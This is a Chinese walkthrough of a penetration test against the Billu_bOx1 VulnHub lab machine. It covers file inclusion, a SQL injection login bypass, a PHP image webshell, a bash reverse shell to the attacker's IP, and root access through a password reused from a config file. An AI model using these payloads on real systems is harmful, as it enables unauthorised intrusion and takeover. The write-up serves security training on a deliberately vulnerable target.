【Billu_bOx1靶机的完整详细渗透测试附靶机下载链接】

本文记录了Billu_bOx1靶机的完整详细渗透测试过程,包括信息收集、漏洞发现、获取shell以及提权至root的方法。

靶机下载链接:https://download.vulnhub.com/billu/Billu_b0x.zip

靶机名称:Billu_bOx1

测试时间:2026/3/27

注意打开靶机前要把靶机设置为NAT模式

如果遇到查找不到靶机的情况,参考这篇文章的开头部分:
https://blog.csdn.net/uhszjhshdjsjsj/article/details/159168830?spm=1001.2014.3001.5501

一.概述

  • 查询攻击机(kali)IP:
bash 复制代码
ifconfig

得到攻击机(kali)IP:192.168.253.166

  • 查询靶机IP:
bash 复制代码
nmap -sn 192.168.253.00/24或netdiscover -r 192.168.253.00/24

得到靶机IP:192.168.253.178

二. 信息收集

    1. 扫描全部端口
bash 复制代码
nmap -A -p 1-64000 192.168.253.178

得到开放端口有

22:用于ssh登录

80:网页默认的 HTTP 端口

    1. Web网页目录扫描:
bash 复制代码
dirb http://192.168.253.178     或者

dirsearch -u http://192.168.253.178 -x 404,403,400

有许多目录,待会我们再仔细看看

    1. web指纹识别
bash 复制代码
 whatweb  http://192.168.253.178
    1. 打开网页收集信息
      直接访问192.168.253.178

      一个登录页面,add页面则是上传文件页面

      试了一下上传不成功,可能要登录才能成功
      访问test目录页面

      他说file参数为空,所以我们尝试文件包含,
      访问http://192.168.253.178/test?file=../../../../../../../../etc/passwd没回显,改成POST方法才行,我用burp改成POST成功回显

      或者用curl --data "file=../../../../../../../../../../etc/passwd" 192.168.253.178/test也可以回显

不过没得到什么信息,我们看看初始页面源代码

bash 复制代码
curl --data "file=index.php" 192.168.253.178/test

对源码审计发现登录页面过滤了单引号,既然知道源码我们就去进行sql注入,输入用户名:or 1=1 #,密码:\(因为\'会被转义成字符,所以根据源码sql语句select * from auth where pass='\' and uname='or 1=1,其中\'被转义为一个字符,所以分为pass='\' and uname='部分和or 1=1部分,所以恒真)即可成功登录

这是登录后的页面,我们尝试上传图片马,创建一个.jpg文件然后编辑内容

bash 复制代码
GIF89a
<?php system($_POST['cmd']); ?>

注意要post方法才行,我最开始用GET是不行的,然后点击ADD USERS上传就行了,用burp抓包,把底下的load=show&continue=continue改成load=/uploaded_images/8.jpg&continue=continue&cmd=ls即可执行命令

那我们就把cmd命令换成反弹shell命令即可(记得进行url编码)

先在终端监听

bash 复制代码
nc -lnvp 1234

然后更改cmd命令

bash 复制代码
bash -c "bash -i >& /dev/tcp/192.168.253.166/1234 0>&1"

监听成功

三. 漏洞发现与利用

Web漏洞

漏洞类型:文件包含漏洞;sql注入漏洞;文件上传漏洞

利用过程:

  1. 文件包含查看初始页面源码,知道初始页面存在漏洞
  2. 根据源码进行sql注入成功登录
  3. 上传图片马成功执行命令,进而执行反弹shell命令

四. 权限提升

获得一个交互性更好的bash

bash 复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

id或whoami查看自己身份

查看内核版本

bash 复制代码
uname -a

查看当前目录

bash 复制代码
ls

进入phpmy目录

bash 复制代码
cd phpmy

再查看目录下文件

bash 复制代码
ls

发现数据库文件config.inc.php,我们查看文件内容

bash 复制代码
cat config.inc.php

得到一个用户名和密码,尝试登录

bash 复制代码
su root

输入刚才得到的密码:roottoor

成功得到root权限

五.总结与反思

本次测试主要难点:

  1. 代码审计与 SQL 注入绕过:通过文件包含漏洞读取 index.php 源码,发现登录逻辑中过滤了单引号但未过滤反斜杠。需要理解 SQL 语句拼接方式,并构造特殊的用户名 or 1=1 # 和密码 \ 来绕过验证。

  2. 图片马上传与命令执行:登录后找到上传点,需要构造包含 PHP 代码的图片马,并利用 POST 参数执行系统命令。

  3. 配置文件中提取密码提权:获得低权限 shell 后,在 /phpmy/config.inc.php 中发现数据库密码,并尝试用该密码切换至 root 用户

学到的技巧:

  1. 文件包含读取源码:巩固了利用文件包含漏洞读取 PHP 源码的方法,为后续代码审计提供基础。
  2. SQL 注入绕过技巧:掌握了在过滤单引号的情况下,利用反斜杠转义和注释符进行 SQL 注入的方法。
  3. 图片马制作与利用:学会了制作包含 PHP 代码的图片马,并通过 POST 参数执行系统命令。
  4. 敏感配置文件信息收集:提高了对常见配置文件(如 config.inc.php)的敏感性,并懂得将数据库密码尝试用于系统用户提权。
  5. 密码复用提权:理解了在多个服务(如数据库、系统)中使用相同密码的风险,并利用该弱点完成提权。

该靶机漏洞总结:

本次渗透的入口是 80 端口 Web 服务中的文件包含漏洞,通过该漏洞读取 index.php 源码,发现登录页面的 SQL 注入点。利用 SQL 注入绕过登录后,在文件上传点上传图片马,并通过 POST 参数执行系统命令获得初始 shell。随后在 Web 目录下发现 phpmy 文件夹中的数据库配置文件 config.inc.php,提取出数据库密码(同时也是 root 密码),用 su root 成功提权。

相关推荐
XLYcmy3 小时前
面向Agent权限系统的快速审计工具
python·网络安全·ai·llm·飞书·agent·字节跳动
沈千秋.4 小时前
thinkphp5.2反序列化
网络安全·php·反序列化
其实防守也摸鱼5 小时前
告别单个变量,用列表和字典批量管理你的 Python 数据
开发语言·网络·软件测试·python·web安全·数据结构,编程教程
m0_738120726 小时前
渗透测试基础——黑盒测试下的Web漏洞挖掘与利用解析(二)
服务器·前端·python·网络协议·安全·网络安全
qsuperm6 小时前
LitCTF2026WEB
网络安全·ctf
路baby7 小时前
2026第十届御网杯网络安全大赛线上赛 区域赛WP (MISC和Crypto)(详解-思路-脚本)
安全·web安全·网络安全·密码学·ctf·misc·御网杯
Lethehong8 小时前
第十届御网杯网络安全大赛 - Wp
网络安全
鹿鸣天涯9 小时前
网规第三版:第9章网络安全部署案例
网络·安全·web安全·软考·网络规划设计师
深邃-9 小时前
【Web安全】-10-网站关键信息收集:目录扫描的概念,工具目录扫描(内含御剑,FindSomething安装链接),网站服务器收集,操作系统判断
运维·服务器·安全·web安全·http·网络安全
Bruce_Liuxiaowei20 小时前
2026年5月第5周网络安全形势周报
人工智能·安全·web安全·ai·智能体